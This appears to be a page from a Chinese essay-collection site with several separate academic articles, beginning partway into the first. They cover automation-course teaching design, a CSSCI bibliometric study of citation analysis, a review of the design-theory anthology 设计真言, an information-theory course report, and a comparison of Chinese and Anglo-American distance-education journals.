此核心课程以项目驱动教学开展课程教学,提升学生的职业能力,以具体自动化生产线为载体,融合认知、安装、调试和检测等内容,实现教、学、做、评一体化教学,突出课程的职业性、实践性和开放性。以学生为主体,采取多样化教学方法。以自动化设备改造为工作过程,涉及电路图分析、电气图设计、程序设计、设备组装、设备运行调试、设备检测、设备维护等行动领域,设置六个学习情境:零配件拆装、传感器检测、气路检测、异步电机检测、步进电机检测、整体检测调试,分成20个任务。

项目一:供料站的安装,有机械拆装、气路拆装、电器拆装三个任务;项目二:加工站的安装,设计任务有加工站组装、光电传感器检测、限位传感器检测三个任务;项目三:装配站的安装,设计任务有装配站组装、电磁阀检测、气缸检测三个任务;项目四 :分拣站的安装,设计任务有分拣站组装、传送带的检测、异步电机的检测、变频器的检测四个任务;项目五:输送站的安装,设计任务有输送站组装、光纤传感器检测、机械手检测、步进电机的检测、溜板检测四个任务;项目六:整体运行调试,有PLC控制网络构建、程序编写、综合调试三个任务。

2自动化生产线的教学方法与评价设计

2.1教学方法。

(1)讲授法:讲解项目任务,传授项目任务相关的知识点,针对学生实施过程中出现的不足进行知识点的说明。

(2)现场教学法:在符合生产要求的工作环境中进行操作技能和维修应用能力实践,提高职业氛围,在工作过程中提升学生的职业道德、职业素养和岗位适应能力。

(3)任务驱动法:将教学过程融入项目任务中,让学生自主讨论分析实施,学生在工作过程中得到知识。

(4)小组讨论法:学生每六~八人为一个小组,小组讨论分析,讨论解决,分工协作完成项目任务。

六步教学实施:明确任务、讨论分析、制定方案、检测故障、检验效果、总结分析。老师交代目标,注意观察和记录小组对现象分析情况,解答学生提出的问题,对跟主题分析偏离太远的小组予以引导,让学生自行摸索,在后期对学生可能会引起事故或损坏设备和工具的异常操作给予纠正,最后老师组织小组进行故障排除工作汇报,互评,并对每组进行考核评价,再引导学生自行总结。

2.2评价设计。

课程采用过程考核与期终考核相结合、企业考核与校内项目考核相结合、教师考核与学生考核相结合的多元化考核方式,利于理论联系实际,有利于学生的学习创新和思考,更督促他们到实际中去发现和改进,去寻找合适自己的项目和课题。

课程考核为:校内项目,企业,综合实训三大类。当堂课的考核有:教师考核、小组互评、小组自评;教师考核内容为五项:任务分析情况,实施方案制定,任务完成质量、分工协作精神、故障检测手段、安全操作规范、小组总结。

和很多专业课一样,多种教学方法和全面的评价方案,有效保证了教学效果。

3相关课教学

3.1电机与电气控制的教学。

本课程以发电机为主题,以工作任务为导向,以工厂实用型电气控制系统设计、安装、调试与维护情景教学为主线贯穿全课程,用实物进行直观性教学,使学生感性认识强,理性认识够。

典型的教学任务有三相异步电动机全压启动、三相异步电动机长动控制、三相异步电动机正反转控制、三相异步电动机延时启动控制(或三相异步电动机Y-降压启动)、机械手控制等。

课程特色是学生充分利用所学知识、网络资源、闲瑕时间作为期三个月的“继电控制课程设计”。任务书要求能够根据功能要求选择个元器件的类型及其型号;了解个元器件的工作原理和使用方法;把各元器件连接起来实现本课程设计的要求。设计内容和要求:两台电动机都存在重载启动的可能,任何一级传送带停止工作时,其他传送带都必须停止工作,控制线路有必要的保护环节,有故障报警装置。课程设计书要有课题介绍、题目、摘要、总体方案设计、设计目的、控制要求、设计要求、 硬件选型、主电路原理图的设计、 控制电路原理图的设计、重载保护电路设计、欠压保护电路设计、总结。

3.2PLC教学。

PLC是可编程序逻辑控制器(Programmable Logic Controller)的简称,早期是一种开关逻辑控制装置,随着计算机技术和通信技术的发展,其控制核心采用微处理器,功能有了极大扩展,除了最广泛的取代传统的继电器-接触器控制的开关量逻辑控制外,还有过程控制,数据处理,通信联网与显示打印,PLC接口采用光电隔离,实现了PLC的内部电路与外部电路的电气隔离,减小了电磁干扰。

PLC有5种编程语言:

(1)顺序功能图(SFC)。

顺序功能图常用来编制顺序控制类程序,包含步、动作、转换三个要素。顺序功能编程法是将一个复杂的控制过程分解为小的工作状态,这些状态按顺序连接组合成整体的控制程序。

(2)梯形图(LD)。

梯形图沿袭了继电器控制电路的形式,是在常用的继电器、接触器逻辑控制基础上简化了符号演变而来的,形象、直观、实用,电气技术人员容易接受,要求用带CRT屏幕显示的图形编程器才能输入图形符号,是目前用得最多的一种PLC编程语言。

(3)功能块图(FBD)。

功能图编程语言是用逻辑功能符号组成的功能块来表达命令的图形语言,与数字电路中的逻辑图一样,极易表现条件与结果之间的逻辑功能。

(4)指令表(IL)。

采用经济便携的编程器将程序输入到可编程控制器就用指令表,使用的指令语句类似微机中的汇编语言。指令表程序较难阅读,其中的逻辑关系很难一眼看出,所以在设计时一般使用梯形图语言。如果使用手持式编程器,必须将梯形图转换成指令表后再写入PLC,在用户程序存储器中,指令按步序号顺序排列。

(5)结构文本(ST)是文字语言。

编程语言的学习是PLC教学的一项重要内容,中间加以不同的应用实例:顺序控制电路、常闭触点输入信号的处理,使用多个定时器接力定时的时序控制电路、三相异步电动机正反转控制电路、钻床刀架运动控制系统的设计,LED数码管显示设计,还经常根据继电器电路图设计梯形图。

增加的学习情境还常有如下任务:洗手间的冲水清洗控制、进库物品的统计、竞赛抢答器装置设计、彩灯或喷泉PLC控制;寻找数组最大值并求和运算、电热水炉温度控制等。

3.3单片机。

单片微型计算机就是将CPU、RAM、ROM、定时/计数器和多种接口都集成到一块集成电路芯片上的微型计算机。用于示波器、报警系统、移动电话、彩电等日常方面,在智能仪器仪表、工业控制、家用电器、计算机网络和通信领域、医用设备领域、工商,金融,科研、教育,国防航空航天等领域也都有广泛应用。

数据大都在单片机内部传送,运行速度快,抗干扰能力强,可靠性高,微型单片化集成了如看门狗、AD/DA等更多的其它资源。教学内容以80C51为核心讲授单片机的的引脚、存储器组织结构、典型语句,以实例应用为线索:单灯受控闪烁、P1口外接8只LED发光二极管模拟彩灯、单片机做加、减、乘、除运算等项目。各子任务都作硬件电路及工作原理分析、主程序流程图设计、源程序的编辑、编译、下载、单片机的I/O接口分配及连接。

教学采用ISP-4单片机实验开发板,可以完成大量的单片机学习、开发实验,对学习单片机有极大的帮助。该板采用在线可编程的AT89S51单片机,有程序下载功能,可将编辑、编译、调试好的单片机代码下载到AT89S51单片机中。

3.4变频器技术及应用。

变频技术让学生熟练掌握各种电力电子器件的工作原理、主要参数、驱动电路与保护技术;掌握交-直-交变频器、交-交变频器、谐振型变频的工作原理和应用范围;掌握脉宽调制控制、矢量控制和直接转矩控制等先进技术;了解变频器与感应电动机组成变频调速系统、变频器与双馈电机组成调速系统、变频器与同步电动机组成变频调速系统,掌握电力电子电机系统的组成、工作原理、控制方法、运行特性等,是强电应用和现代技术推广的有力体现。

3.5传感器与自动检测技术。

传感器技术代替人的感观,在各种环境下应用,检测技术是一套有效的反应体系,包括信息的获得、测量方法、信号的变换、处理和显示、误差的分析以及干扰的抑制、可靠性问题等。因此掌握常用传感器的工作原理、结构、性能,并能正确选用,了解传感器的基本概念和自动检测系统的组成,对常用检测系统有相应的分析与维护能力。对工业生产过程中主要工艺参数的测量能提出合理的检测方案,能正确选用传感器及测量转换电路组成实用检测系统的初步能力。

教学过程进行小论文制作,让学生提高计算机应用水平,使学生从文字处理水平提高到办公处理水平。对分节、目录、文献标识作严格要求。题目如数字显示电子称、基于霍尔传感器的转速表、单片机电子秤研究、光纤测温仪、烟雾报警器、小车寻迹设计、电熨斗自动恒温系统、电涡流探伤、电感测厚仪等。

4毕业论文指导分析

毕业论文专业联系实际,通常小型自动化系统以单片机为主,大型自动化生产线以PLC为主,系统运行动力离不开电机,观察离不开传感器,调速可用变频器,综合所学,学生的论文涉及广泛,有效教学可对应从如下方面侧重指导。

4.1立意选题。

根据实际和研究方向做好侧重和体现,如“触摸屏控制的碱液配置系统”和“两种液体混合装置的PLC控制系统”的系统性和方向性,“车库自动门的PLC自动控制”和“测速雷达信号处理系统”的检测指标要求等。

4.2材料整合。

在任务要求明确的基础上,首先确定相关技术指标,对应查找并列出论文结构,一份毕业论文至少含有三到五门课的内容,对应于研究方向进行相应编排和取舍。

4.3技术处理。

所搜集图片的背景往往有水印,要去掉,图片按要求进行不同方向的剪切。图表里的文字应是五号或小五,注意表格标题要单独标出等等格式要求。流程图、梯形图的设计与表现。

多种教学方法和理论联系实际教出具有学习能力和创新能力的学生,系统的学习与应用创造练就出具有竞争力的学生,专业课的有效教学和毕业论文的顺利设计将显示本专业沉甸甸的含金量。

参考文献

[1]吕景全.《自动化生产线安装与调试》,中国铁道出版社,2010年7月

[2]马玉春.《电机与电气控制》,北京交通大学出版社,2011年1月

[3]李建新.《可编程控制器原理及应用》,机械工业出版社,2012年9月

第6篇

[关键词]CSSCI引文分析科学计量学可视化图谱

[分类号]G306

1、导言

科学知识可视化图谱是在信息技术的推动下发展出来的一个新领域,当前已经成为科学计量学的一个新热点。陈悦和刘则渊认为科学知识图谱是显示科学知识的发展进程与结构关系的一种图形,它是揭示科学知识及其活动规律的科学计量学从数学表达转向图形表达的产物,是显示科学知识地理分布的知识地图转向以图像展现知识结构关系与演进规律的结果。Katy Borner等综述了知视可视化历程,对引文分析领域进行了可视化研究。安伟峰、熊润芝、周云平等、徐佳宁等、刘艳苏等以及叶协杰众多学者也利用不同的中文数据库、不同的方法以及不同时期对我国的引文分析研究状况进行了研究。虽然中外学者都从不同角度研究了引文分析领域,但是中文引文分析领域的可视化研究几乎还没有开展。本文拟对中文引文分析这个领域运用可视化工具来做一个清晰的描绘。

2、数据及方法

本论文研究所用的数据来源于CSSCI数据库。笔者于2008年4月24日以“引文分析”为检索词在CSSCI中检索到1998-2007年间527篇文献,共得到3 328条引文。

下载这些检索记录,通过对数据进行仔细辨认和合并,利用大连理工大学刘盛博编的中文处理软件对CSSCI数据进行格式转换,变为Bibexcel、UcinetCitespace等软件可处理格式,然后利用这些软件对记录中的关键词、作者、来源期刊、被引作者、被引期刊等进行分析或绘图。

3、统计结果与分析

3.1关键词分析

527篇论文中,共有2133个关键词,对出现3次以上的97个关键词进行共现分析,利用Ucinet,计算中心性,再利用Netdrw绘制这些关键词共现网络,得到图1。通过对关键词的分析,可得出我国引文分析领域的主要研究内容。

从图1可以看出,节点越大,表示中心性越高。中心性较高的一些词有引文分析、SCI、CSSCI、文献计量学、影响因子,期刊评价等。两个节点之间的连线粗细代表关键词共同出现的次数,连线越粗,就是共同出现的次数越多。与引文分析共同出现次数较多的词有文献计量学、期刊评价、载文分析、作者分析等。

3.2作者分析

在527篇论文中,共有682名作者,表1是发表4篇以上的作者及其工作单位。

从表l可以看出,引文分析领域发文4篇以上的作者有29人,其中24人是与图书情报信息有关的,1人与医学有关。南京大学有9人,中国科学技术信息研究所4人,中国科学院文献情报中心有2人,北京大学有2人,浙江大学科技部2人,其余各1人。

3.3来源期刊分析

527篇论文分布在106种杂志中,发表在前20种杂志中的论文数为390,占总论文的74.7%,也就是说20%左右的杂志中包括了大约80%的有关引文分析的论文,基本符合“二八”律,可以认为这些杂志是发表引文分析论文的核心期刊。可以看到前20种期刊大都是图书馆学、情报学的核心期刊。表2显示出引文分析领域的文章除了多数发表在图书情报类的杂志上外,还有很多发表在与科学学、科技管理有关的核心期刊上。

3.4被引作者分析  对527篇论文的3 328条引文进行分析,发现有1280位作者被引证,平均每位作者被引频次2.6次。在这庞大的作者群中,被引频次最高的30位作者的总被引频次为731次,占总被引频次的21.97%,平均每位高被引频次作者被引频次24.37次。利用Citespaee软件绘图,得到图2,显示了我国引文分析领域的高频被引作者情况,图3显示了引文分析领域的重要文献。

从图2和图3中可以看出,较大节点的作者是在引文分析领域有突出作用的作者。影响最大的是武汉大学中国科学评价研究中心的邱均平,其主要代表作是1988年出版的《文献计量学》一书。王崇德、罗式胜、丁学东三人也出版了有关文献计量学的专著。庞景安《科学计量研究方法论》一书,详细介绍了引文分析在科学计量学中的应用。梁立明、蒋国华也出版了有关科学计量学的专著。有些集体作者,如中国科学技术信息所、中国社会科学索引课题组、中国科技论文统计与分析课题组、南京大学中国社会科学研究评价中心,这些课题组对我国的引文分析研究也有极大的影响和促进。金碧辉、武夷山、孟连生、朱献有、马费成等人也有突出的贡献,他们的单篇论文的被引频次也很高。姜春林、邹志仁、程刚、袁培国、钟旭、党亚茹、崔雷的研究也各有特色。

3.5被引期刊分析  3 328条引文分别来自918种杂志和其他类型文献,包括专著、报告、网页等。但是被引前20种杂志中的引文有1 346条,占总引文的40.4%,表3显示被引前20种期刊大多都是图书馆、情报学的核心期刊。《科学学研究》、《科学学与科技管理》等杂志的被引用说明科学学也对引文分析有较大的影响。有380条外文引文,占总引文的11.4%;有160条网页引文,占总引文的48%,其中680条引文都只被引一次,以上说明引文分析对别的学科的知识吸收还是相对较少,吸收较多的还是图书情报学、科学学、科学计量学、管理学、编辑学的知识。

4、我国引文分析存在问题及对策

4.1 中国引文分析存在问题

4.1.1 引文分析研究缺乏核心作者 引文分析在我国的研究历史只有30多年,还没有引文分析的核心作者,虽然有许多专家学者,也有很高的被引频次,但是他们都是图书情报领域的先贤,而引文分析则是依附于文献计量学存在的,大部分的著作都与文献计量学和科学计量学研究相关。因此,表现出引文分析理论研究少,应用研究多,方法简单;方法研究上简单统计多,指标模型少;应用研究用于评价的多,管理的少;研究图情、医药领域较多,其他领域少。

4.1.2数据样本的选择缺乏科学性引文分析是力图根据统计特征找出文献生产、传播等规律,从而进行更深入的研究,为决策提供量化依据。统计特征的出现要求有足够的样本量,足够明确的研究对象,足够大的时间跨度。而国内正式发表的有关引文分析的论文普遍存在着样本量小、时间跨度短、学科代表性差等问题。

4.1.3 中文引文分析可视化困难我国的引文分析可视化的进展不大,虽然近年来掀起了引文分析可视化的热潮,但是大多是对来自Web of Science数据的可视化,而以中文出现的知识图谱则不是太多。

4.1.4 中文的引文数据局限性 中文引文数据库有一定的局限性,如CSSCI中的数据从格式到录入出现了很多不统一及错误,如有的引文写错著者姓名、发表年份、出版社等等。在本研究中对这些现象作粗略的统计,其中年份写错或不写的占总引文的3.1%,不写出版社或期刊的占6.2%,不计算其他格式不统一,引文的错误总计在数据库中几乎达到10%。这样就给研究的统计工作带来很大的困难。

4.2 中国引文分析现状成因

4.2.1 理论基础薄弱首先,引文分析起初是当作文献计量学的一种方法被引入的,由于其使用起来简单易行,大多数学者只是把其当作一种工具来使用,究竟其包括什么样的原理,其使用的前提条件、使用原则、形成机制,并没有人去深入地探究;其次,引文分析理论在国外也进展不大,到目前为止,大多数的引文分析还是以传统的文献数理统计和共引理论为基础进行研究,没有更进一步突破;第三,我国的研究者重视应用研究、忽略理论研究。

4.2.2 中文引文数据库不完善为了更好地发展我国的图书馆事业和文献研究工作,我国科研人员不断努力,开发了许多相关的引文数据库,如CSCD,CST―PC,CSSCI等。这些数据库与SCI数据库相比,不论是在数据套录功能还是数据收录年代或期刊收录范围上都有所欠缺。为了进行引文分析,用户不得不把需要的文献记录和它们引用的参考文献题录一一手工摘取,再导入自建的小型引文库中通过编制计算机程序才能获得需要的统计数字。这无疑极大地阻碍了研究人员利用国内引文数据进行分析的积极性。

4.2.3 没有适合的分析软件 由于我国引文分析发展的较晚,一些引文分析的技术都是来自于国外。国外有很多专家学者利用计算机编程,开发了许多文献计量学软件,进行引文分析。例如:Bibexcel就是OllePersson为文献计量学专门编制普遍适用的、统一格式的数据处理软件,可以处理来自Web of Science等数据库的数据,不但能够进行统计处理,还可以分析数据,形成所需要的关系矩阵。而我国文献计量学、科学计量学的学者目前还没有开发出普遍适用中文数据格式的软件,对于一些不懂数学、计算机编程的学者,要靠最原始的手工来进行计数,所以他们花费在数据处理上的功夫可想而知。

4.2.4不规范的引文行为 目前我国的科技论文在引文规范上普遍存在着一些问题,主要表现在以下三方面:“用而不引”和“不用而引”;对参考文献的标注不规范;“引文复制”与“引而不注”;著录失误。此外,一些由于情报交流的障碍,如语言障碍、编译代码转换的障碍、检索工具的障碍、理解水平与能力的障碍等等,都是造成引文错误的直接客观的原因。

4.3 中国引文分析的对策建议

4.3.1 加强引文分析的理论建设首先,大力开展引文分析的理论研究,对引文分析的原理、规律、研究对象以及与引文分析相关的概念假设、环境、适用范围进行深入和系统的讨论,力图形成引文分析的研究范式;其次,加强和国外同行的合作交流,力图自主创新,发展适合我国学者的引文分析方法和理论;再次,引文分析有很强的交叉学科的特点,交叉学科的特点就是容易吸取其他学科的先进理论,要想在理论上有所突破,可以借鉴其他学科的理论方法;第四,提倡研究者进行理论研究,改变研究作风;第五,提高研究者和使用者综合素质,使他们能够敏锐地发现引文分析的问题,合理利用引文分析进行科研评价,提高科研活动的效率。

4.3.2完善发展各种引文数据库首先,优化数据库结构,加强数据规范管理工作,改善数据库检索性能;其次,借鉴美国ISI的Web of Knowledge(WoK)的经验,对我国各类引文数据库进行重组、加强和完善;可以把CSCD和CSTPC整合起来,成为中国的“SCI”,把CSSCI建成中国的“SSCI”,把各种引文数据库的资源集成为强大的引文网络平台;再次,及时和数据库用户沟通和交流,获得有益的反馈信息。

第7篇

由于科研与教学的需要,外国设计史论文献的编译一直是国内设计史学家所重视的一个领域,如奚传绩的《设计艺术经典论著选读》、李砚祖的《外国设计艺术经典论著选读》、董占军的《外国设计艺术文献选编》,都是该领域内较早的研究成果。而《设计真言》更是在此基础上前进了一大步。首先,它在篇幅上达到了一定的规模:《设计真言》一书收录了1852-2005年间西方现代设计思想文献130篇,对19世纪下半叶以来西方最重要的设计家的思想几乎都有所体现,文献论述的领域覆盖工业设计、平面设计、展示设计、建筑设计、城市设计以及新媒体设计等学科,内容则包括设计原理、设计批评、设计管理、设计与审美、设计与文化、设计与公共决策等。这130篇经过精心选择的文章,基本可以形成对近150年以来西方现代设计发展历程的全方位考察,这种工作实在是功德无量的:既可以让国内读者明晰西方设计思想的由来及其发展脉络,让今天的设计师们直接与历史上的设计大师展开心灵的对话:同时也可以引发对中国设计现状的反思,加深对设计本质的理解,并对整个20世纪人文社会科学学术视野中设计学术思想的存在状态有所体验。

另外,从文献的选择上,也更倾向于对新知识、新方法的介绍,尤其是那些20世纪下半叶在设计管理、非物质设计、可持续设计、通用设计、服务设计等领域的文献,更加适合了国内学科发展的需要,如英国彼特・戈伯的《设计的未来及其管理》、维克多・马格林的《为可持续世界的设计》等,对于目前国内设计学研究的前沿领域都具有非同寻常的意义。书中的很多文献都属于在国内首次译介,这更是促进了国内相关领域研究发展的可能性。

然而不能不提的是,这本书的内容更胜于其形式。近些年来,在《设计中的设计》等一系列书籍的出版及畅销的带动下,有关设计思想的书籍设计刮起了一股“白皮风”,似乎没有白皮,便不可反映其理论性,便不可如《设计中的设计》一样畅销。看来这本书也难于免俗:白色的封面上仅用透明的亮膜印出书名和相关内容,辨识度实在太差,如果没有了腰封,那此书的封面印在杂志上几乎就是白纸一张。且翻阅不到一周后,封皮便已折痕累累,实在对不起“真言”这样的名字。说到书名,这个“设计真言”也起得过于哗众取宠,令人哭笑不得。内文纸张过薄,虽然可以理解这一千多页的书不能选择太厚的纸张,但总应该以不影响翻阅为度。这也许不是编者们的初衷。众所周知,在国内,学术书籍的出版只要能够促成就已经很不错了,更没有在形式上讨价还价的余地。但这样一本内容的书套上这样的形式,实在是对国内设计现状的极大讽刺。

第8篇

信息技术发展和应用所推动的信息化,给人类经济与社会生活带来了深刻的影响。进入二十一世纪以来,信息化对经济社会发展的影响愈加深刻。鉴于此,全世界众多高等学校都为信息与计算科学专业的本科生开设了“信息论基础”这门课。

为适应信息化社会的这种需求,南京邮电大学很早就开展了“信息论基础”的本科教学工作,具有悠久的历史。这里主要对自身所讲授的“信息论基础”课程的本科教学实践进行总结和讨论。在引言之后,本文将依次讨论教学组织活动及改革、课程结构与提纲、一个教学结果举例和结论与可能的改进等4个部分。

1 教学组织活动及改革

在“信息论基础”专业课程中,我们选择了曹雪虹老师主编的教材《信息论与编码》一书[1],参考书包括傅祖芸所著的《信息论-基础理论与应用》[2]以及周炯磐所著的《信息理论基础》[3]。为促进学生领会信息论开创者香农最初的一些创新性概念,本人在教学意将香农的经典论文“A Mathematical Theory of Communication”列为重要参考文献[4]。

该门课程的教学基本要求为:通过学习,使学生了解信息处理、存贮和传输所依赖的基本规律,及其在通信技术中的具体应用。本课程重在介绍基本概念,给出主要结论,而不涉及烦杂的数学推导和证明。

由于课程整体只有32个学时,相对于信息论基础的丰富内容来说,应该说时间肯定是不够的。为此,如何精选部分章节又不影响本科专业课的整体性是一个需要仔细考虑的问题。通信与信息工程学院在学校有关部门的导向下考虑在此类课程教学中引入教学活动的短学程化的理念[5], 以实现教学组织活动的改革。具体执行而言,课程的教学安排主要集中于信息论相关基本概念的讲授与理解。

为解决学生理解信息的度量――信息熵的困难,本人在课程的第一讲中采用了香农最早在经典论文中给出的公理化体系,解决了信息论入门难的问题。在第四章有关信息率失真函数的讲授中,一般需要引入假想信道,但学生很难理解假想信道模型。为解决该困难,本人引入了“随机矢量量化”概念来解释假想信道,取得了很好的教学效果。

2 课程结构与提纲

2.1 课程结构

该课程每年春季开课,含有16讲,每讲2课时,其中含有3课时的课堂习题课。此外,作业为四次和一次半学期的考试。为了巩固多媒体教学中学习的知识点,近20题的课后作业量是必要的,它要求学生自学和理解所学教材。

2.2 课程提纲

主要提纲与相应知识点简述如下:

2.2.1 绪论

涉及教科书的第一章内容,介绍了信息论的形成和发展及所要研究的基本问题。

2.2.2 信源与信息熵

涉及第二章内容。知识点主要为自信息量、条件自信息量、单符号熵、互信息量、条件互信息量、平均互信息量、马尔可夫信源熵。要求掌握信息的量度的计算。

2.2.3 信道与信道容量

涉及第三章内容。知识点主要为信道模型、信道容量及其计算方法,要求掌握对称及准对称DMC信道、限时限频限功率加性高斯白噪声信道容量的计算。

2.2.4 信息率失真函数

涉及第四章内容。知识点主要为失真函数、平均失真、信息率失真函数、信息率失真函数的性质,要求掌握率失真函数的定义和性质。

2.2.5 信源编码

涉及第五章内容。知识点主要为信源编码的定义、基本原理和基本定理,要求掌握最佳变长编码的方法。

2.2.6 信道编码

涉及第六章内容。知识点主要为纠错编译码的基本原理、线性分组码的生成矩阵和校验矩阵、伴随式、码距、纠错能力,要求掌握线性分组码编码过程。

2.2.7 加密编码

涉及第七章内容。知识点主要为加密编码中的基本概念、加密编码中的熵概念、换位和替代密码、DES密码算法、公开密钥密码体制、RSA密码体制等。

3 一个教学结果举例

图1 一个教学班的学生成绩分析

每年南京邮电大学“通信工程”专业3~4个班近200名本科生修习该课程,我们考虑以闭卷方式来检查和评价教与学,考试的内容与习题中的问题有比较大的相似,以取得合适教学效果。这里仅仅以一个教学班的考试成绩为例,其他班级与该例有一定相似。图1显示了所研究的一个教学班的学生成绩分析。该班平均分79.2,学生成绩可以用一个对数曲线来拟合,即中间分数的人数比较多,它与我们原来预订的学生考试评价范围比较吻合。这在一定程度上说明我们的教学方案还是可行的。

第9篇

一、研究目的

学术杂志的文章往往反映着此学术领域的研究现状,在开放与远程教育领域亦是如此,从以下几份著名的开放与远程教育杂志的宗旨可以证明这一点。由中央广播电视大学主办的《中国电大教育》杂志,首要宗旨就是广泛深入地展示远程教育理论、教学研究的新成果,全面迅速地反映全国各级电大教育改革的新思路、新举措、新经验,探讨新问题。由上海电视大学主办的《开放教育研究》,其主要目的是为各级各类开放与远程教育系统的理论研究人员、实际工作者和广大师生提供一个学术交流园地,为展示我国开放与远程教育的成就和发展动态提供一个窗口,推动开放与远程教育在国内与国际的交流和协作,促进我国开放教育和远程教育的改革和发展。由美国宾夕法尼亚大学远程教育研究中心主办的《美国远程教育》的目的有二:一是远程教育的研究和实践的信息,二是为远程教育的研究者和实践者提供一个讨论和争鸣的场地。

随着我国开放与远程教育的研究在国际上声誉的提高,随着我国公开发行的开放与远程教育杂志不断受到国内外专家的肯定,如何使我国的开放与远程教育的研究水平“更上一层楼”,这是我们目前需要考虑的重要问题。

本文的目的是通过对我国和英国、美国5份著名的开放与远程教育的学术杂志中的论文进行分析比较,包括论文的格式、研究方法、数据处理、研究主题、论文撰写等方面,进而探讨如何提高我国的教育研究水平,以及我国目前在开放与远程教育中亟待加强的研究课题。

二、样本

本研究选择1997和1998年我国公开出版的3份开放与远程教育杂志论文为样本,即由中央电大主办的《中国电大教育》(月刊)、上海电大主办的《开放教育研究》(双月刊)和黑龙江电大主办的《现代远距离教育》(季刊);选择了2份英国和美国最著名的开放与远程教育杂志:即由英国开放大学主办的《开放学习》(每年三期)和美国宾夕法尼亚大学主办的《美国远程教育》(每年三期),论文样本选自于我校至今收到的1997年的三期和1998年的两期的《开放学习》,以及1997年的三期的《美国远程教育》。

为了保证所选样本标准的一致性,各期刊的文章中只选论文,其它如评论、介绍(翻译、编译、见闻)、随笔、文摘、书评等皆除外。详见表一。

表一:数据来源和选择期刊名称年份期刊总数论文(篇)中国电大教育97~9823322开放教育研究97~9812140现代远距离教育97~987161开放学习97~98544美国远程教育97316合计50683

三、研究结果

由于研究结果的数据繁多,为了清楚地表明我国和英美杂志上论文的异同,下面把我国的3份杂志列为“中国杂志”一组,把英美的2份杂志列为“英美杂志”一组,从而进行比较。

1.论文数量的比较

研究发现,我国杂志每期发表的文章数量几乎是英美杂志的一倍。也就是说,我国每篇文章平均所占篇幅大大地小于英美文章,详见表二。

表二:杂志的论文数量比较

期刊期刊总数论文(篇)平均每期论文中国杂志4262315英美杂志8607.5

这一结果可能同文章的体系有关。

首先,从文章的参考文献来分析,在我国杂志的623篇文章中,只有42篇有参考文献,占6%,而英美杂志的文章都有参考文献,占100%。

表三表明,我国杂志的文章的参考文献(份数)也比英美杂志要少得多。例如,我国有参考文献的文章中,60%的文章只有1到4份参考文献,而英美有9份以上参考文献的论文占60%,其中45%的论文的参考文献在20份以上。

表三:文章参考文献的平均数比较参考数量中国杂志英美杂志

1~225%0%

3~437.5%5%

5~610%10%

7~88%25%

9~100%10%

11~2017.5%5%

20~712.5%45%

其次,我国杂志的论文很少有摘要,而英美杂志的文章一般都有摘要。

第三,我国杂志的文章很少有研究方法一节,而英美杂志的研究文章大都有专门一节详细描述研究方法。

第四,我国杂志的文章很少有图表,而英美杂志的文章多有详细的图表。

以上原因导致了我国杂志的论文篇幅比英美杂志的文章短得多,而从研究的角度来讲,研究论文的科学性就降低了。

2.研究方法的比较

本文把研究方法分为九类,一为描述加讨论(它主要是采用描述的方法,分析他人的观点,而后发表自己的看法,或者仅仅提出自己的建议。从严格意义上讲,它并没有采用任何具体的研究方法),二是经验总结,三是系统论,四是历史法,五是问卷法,六是访谈法,七是观察法,八是实地考察(这主要指我国的一些研究者通过对国内或国外有关单位的实地考察,结合自己的感想所写的文章),九是实验法。除一、八之外,每一种方法都有其一整套的基本的原理、设计、过程和资料分析技术。表四表明我国与英美杂志采用不同研究方法的论文数量的百分比。

表四:论文采用的研究方法比较

研究方法中国杂志英美杂志1.描述加讨论75.8%23.3%2.经验总结11.4%21.7%3.系统论0.3%0%4.历史法0.2%0%5.问卷法1.1%18.3%6.访谈法0.2%6.7%7.观察法0%11.7%8.实地考察10.4%0%9.实验法0%0%10.问卷+访谈0.2%8.3%11.问卷+观察0.48%10%

从表四可以看出,我国杂志中的文章大部分是采用描述加评论的方法,而英美杂志中这类文章只占23.3%。我国杂志只有1.98%的文章采用调查法,即方法5、6、7、10和11,而英美杂志中有55%的文章使用调查法。在调查法中,我国杂志中只有0.68%的文章采用多种的调查方式,即方法10和11,而英美杂志中有18.3%的文章使用这种调查方法。遗憾的是,在所有的中外论文中,我们却没有发现采用实验法的研究文章。

在采用定性和定量研究方面,表五表明:英美杂志中采用定量研究的论文大大高于中国杂志。另外,英美杂志中有15.2%的论文采用数据统计和分析的手段(表五中的2、3、4、5),而中国杂志中有0.18%的论文使用这种数据分析技术。

表五:数据分析技术在总文章数的比例

采用方法中国杂志英美杂志1.频数和百分比4.2%22.6%2.相关0.18%1.9%3.平均数+标准差0%3.8%4.方法2+方法30%5.7%5.相关+回归0%3.8%

3.论文主题的比较

根据论文的内容,本文把样本的683篇文章划分为20个主题,其统计结果详见表六。

表六:论文主题的比较

主题中国杂志英美杂志1.开放与远程教育总论23.5%7.5%2.历史和发展6.0%9.4%3.理论和哲学6.1%5.7%4.研究方法0.2%0%5.教育计划均等(包括注册视听生)4.4%1.9%6.管理和规划6.0%5.7%7.学习者的特征0.7%3.8%8.学习模式的研究6.7%11.3%9.学生支持服务0.2%5.7%10.师生之间的互动和反馈0.2%1.9%11.学习材料的设计和发展5.3%7.5%12.教育技术和媒体10.9%15.1%13.新技术和媒体在实践中的应用4.4%1.9%14.教育经济学0.7%0%15.师资培训3.0%1.9%16.质量保证13.9%11.3%17.文化和传统0.4%0%18.学科研究2.8%9.4%19.国外远程教育介绍2.8%0%20.非开放与远程教育类文章1.5%0%

表六表明,我国论文属于“总论”的论文的数量大大高于英美的这类论文。另外,在开放与远程学习中学生的学习心理和学生支持服务方面,我国的研究明显少于英美。

为了更清楚地表明我国和英美杂志的论文研究领域的现状,表六的20个研究主题被归为9个大的研究领域,比较结果详见表七。

表七表明,我国在对远程学习者和学习的研究比起英美要少的多,而在管理、学习材料的设计、教育经济学、师资培训方面的研究,我国与英美都显得比较薄弱。

四、讨论和建议

1.关于研究论文的格式和内容

①参考文献从事任何一项研究,研究者首先必须全面地进行文献查阅和评论,以确保其研究既是很有价值的,又进这一研究领域中的空白或不足,同时表明其研究是在以前有关研究的最高水平的基础上进行的。研究者如果缺乏对文献的研究,就很难证明其论文的水平。当然,每篇论文附上所有的参考文献必然会占去相当多的篇幅。本文建议,对于一般的研究论文,至少应附上10篇左右的主要参考文献,这既有助于他人对其论文质量的评价,又有利于他人拓展新的研究课题。

